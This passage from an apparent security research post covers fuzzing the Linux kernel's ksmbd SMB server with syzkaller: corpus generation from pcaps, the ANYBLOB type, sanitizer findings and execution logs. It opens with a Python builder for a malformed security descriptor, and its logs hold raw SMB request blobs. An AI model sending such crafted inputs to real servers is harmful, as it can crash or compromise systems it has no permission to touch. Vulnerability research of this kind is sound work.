&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;build_sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;H&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0001&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack_into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# dacloffset
&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x01\x01\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xCC&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;build_sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[+] Final SD length: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;anyblob&quot;&gt;ANYBLOB&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anyTypes&lt;/code&gt; struct is used internally during fuzzing and it is less documented - probably because it’s not intended to be used directly. It is defined in &lt;a href=&quot;https://github.com/google/syzkaller/blob/master/prog/any.go#L10&quot;&gt;prog/any.go&lt;/a&gt; and can represent multiple structures::&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;anyTypes&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;union&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UnionType&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ArrayType&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;blob&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BufferType&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;// .. snip..&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Implemented in commit &lt;a href=&quot;https://github.com/google/syzkaller/commit/9fe8aa42c5bd11e2eb6952a16da6287205d7bf97&quot;&gt;9fe8aa4&lt;/a&gt;, the use case is to squash complex structures into a flat byte array, and apply just generic mutations.&lt;/p&gt;

&lt;p&gt;Reading the test case is more illustrative to see how it works, where:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;foo$any_in(&amp;amp;(0x7f0000000000)={0x11, 0x11223344, 0x2233, 0x1122334455667788, {0x1, 0x7, 0x1, 0x1, 0x1bc, 0x4}, [{@res32=0x0, @i8=0x44, &quot;aabb&quot;}, {@res64=0x1, @i32=0x11223344, &quot;1122334455667788&quot;}, {@res8=0x2, @i8=0x55, &quot;cc&quot;}]})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;translates to&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;foo$any_in(&amp;amp;(0x7f0000000000)=ANY=[@ANYBLOB=&quot;1100000044332211223300000000000088776655443322117d00bc11&quot;, @ANYRES32=0x0, @ANYBLOB=&quot;0000000044aabb00&quot;, @ANYRES64=0x1, @ANYBLOB=&quot;443322111122334455667788&quot;, @ANYRES8=0x2, @ANYBLOB=&quot;0000000000000055cc0000&quot;])`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The translation happens automatically as part of the fuzzing process. After running the fuzzer for several weeks, it stopped producing new coverage. Instead of manually writing inputs that followed the grammar and reached new paths, we used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ANYBLOB&lt;/code&gt;, which allowed us to generate them easily.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ANYBLOB&lt;/code&gt; is represented as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BufferType&lt;/code&gt; data type and we used public pcaps obtained &lt;a href=&quot;https://wiki.wireshark.org/SMB2&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://wiki.wireshark.org/samplecaptures&quot;&gt;here&lt;/a&gt; to generate a new corpus.&lt;/p&gt;

&lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;json&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# tshark -r smb2_dac_sample.pcap -Y &quot;smb || smb2&quot; -T json -e tcp.payload &amp;gt; packets.json
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;makedirs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;corpus&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;load_packets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'r'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;packets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_source&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;layers&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tcp.payload&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;packets&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;packets.json&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;packets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;load_packets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;packet&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;pdu_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;corpus/packet_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.txt&quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;syz_ksmbd_send_req(&amp;amp;(0x7f0000000340)=ANY=[@ANYBLOB=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;], &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pdu_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, 0x0, 0x0)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After that, we used &lt;a href=&quot;https://github.com/google/syzkaller/blob/master/tools/syz-db/syz-db.go&quot;&gt;syz-db&lt;/a&gt; to pack all candidates into the corpus database and resumed fuzzing.&lt;/p&gt;

&lt;p&gt;With that, we were able to immediately trigger &lt;a href=&quot;https://github.com/torvalds/linux/commit/15a9605f8d69dc85005b1a00c31a050b8625e1aa&quot;&gt;ksmbd: fix use-after-free in ksmbd_sessions_deregister()&lt;/a&gt; and improve overall coverage by a few percent.&lt;/p&gt;

&lt;h3 id=&quot;sanitizer-coverage-beyond-kasan&quot;&gt;Sanitizer Coverage Beyond KASAN&lt;/h3&gt;

&lt;p&gt;In addition to &lt;a href=&quot;https://docs.kernel.org/dev-tools/kasan.html&quot;&gt;KASAN&lt;/a&gt;, we tried other sanitizers such as &lt;a href=&quot;https://docs.kernel.org/dev-tools/ubsan.html&quot;&gt;KUBSAN&lt;/a&gt; and &lt;a href=&quot;https://docs.kernel.org/dev-tools/kcsan.html&quot;&gt;KCSAN&lt;/a&gt;. There was no significant improvement: KCSAN produced many false positives or reported bugs in unrelated components with seemingly no security impact. Interestingly, KUBSAN was able to identify one additional &lt;a href=&quot;https://github.com/torvalds/linux/commit/bf21e29d78cd2c2371023953d9c82dfef82ebb36&quot;&gt;issue&lt;/a&gt; that KASAN did not detect:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;le32_to_cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;psid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sub_auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;psid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;num_subauth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case, the user was able to set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;psid-&amp;gt;num_subauth&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, which resulted in an incorrect read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;psid-&amp;gt;sub_auth[-1]&lt;/code&gt;. Although this access still fell within the same struct allocation (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb_sid&lt;/code&gt;), UBSAN’s array index bounds check considered the declared bounds of the array&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;smb_sid&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;__u8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;revision&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* revision level */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;__u8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num_subauth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;__u8&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authority&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NUM_AUTHS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;__le32&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SID_MAX_SUB_AUTHORITIES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* sub_auth[num_subauth] */&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and was therefore able to catch the bug.&lt;/p&gt;

&lt;h2 id=&quot;coverage&quot;&gt;Coverage&lt;/h2&gt;

&lt;p&gt;One unresolved issue was fuzzing with multiple processes. Due to various locking mechanisms, and because we reused the same authentication state, we noticed that fuzzing was more stable and coverage increased faster when using only one process. We sent multiple requests within a single invocation, but initially worried that this would cause us to miss race conditions.&lt;/p&gt;

&lt;p&gt;If we check the execution log, we see that syzkaller creates multiple threads inside one process, the same way it does when calling standard syscalls:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1.887619984s ago: executing program 0 (id=1628):
syz_ksmbd_send_req(&amp;amp;(0x7f0000000d40)={0xee, @smb2_read_req={{}, 0x8, {0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, &quot;fbac8eef056a860726ca964fb4f60999&quot;}, 0x31, 0x6, 0x2, 0x7e, 0x70, 0x4, 0x0, 0xffffffff, 0x2, 0x7, 0xee, 0x0, &quot;1cad48fb0cba2f253915fe074290eb3e10ed9ac895dde2a575e4caabc1f3a537e265fea8a440acfd66cf5e249b1ccaae941160f24282c81c9df0260d0403bb44b0461da80509bd756c155b191718caa5eabd4bd89aa9bed58bf87d42ef49bca4c9f08f22d495b601c9c025631b815bf6cbeb0aa4785aec4abf776d75e5be&quot;}}, 0xf2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0)
syz_ksmbd_send_req(&amp;amp;(0x7f0000000900)=ANY=[@ANYRES16=&amp;lt;r0=&amp;gt;0x0], 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) (async, rerun: 32)
syz_ksmbd_send_req(&amp;amp;(0x7f0000001440)=ANY=[@ANYBLOB=&quot;000008c0fe534d4240000000000000000b0001000000000000000000030000000000000000000000010000000100000000000000684155244ffb955e3201e88679ed735a39000000040214000400000000000000000000000000000078000000480800000000010000000000000000000000010001&quot;], 0x8c4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) (async, rerun: 32)
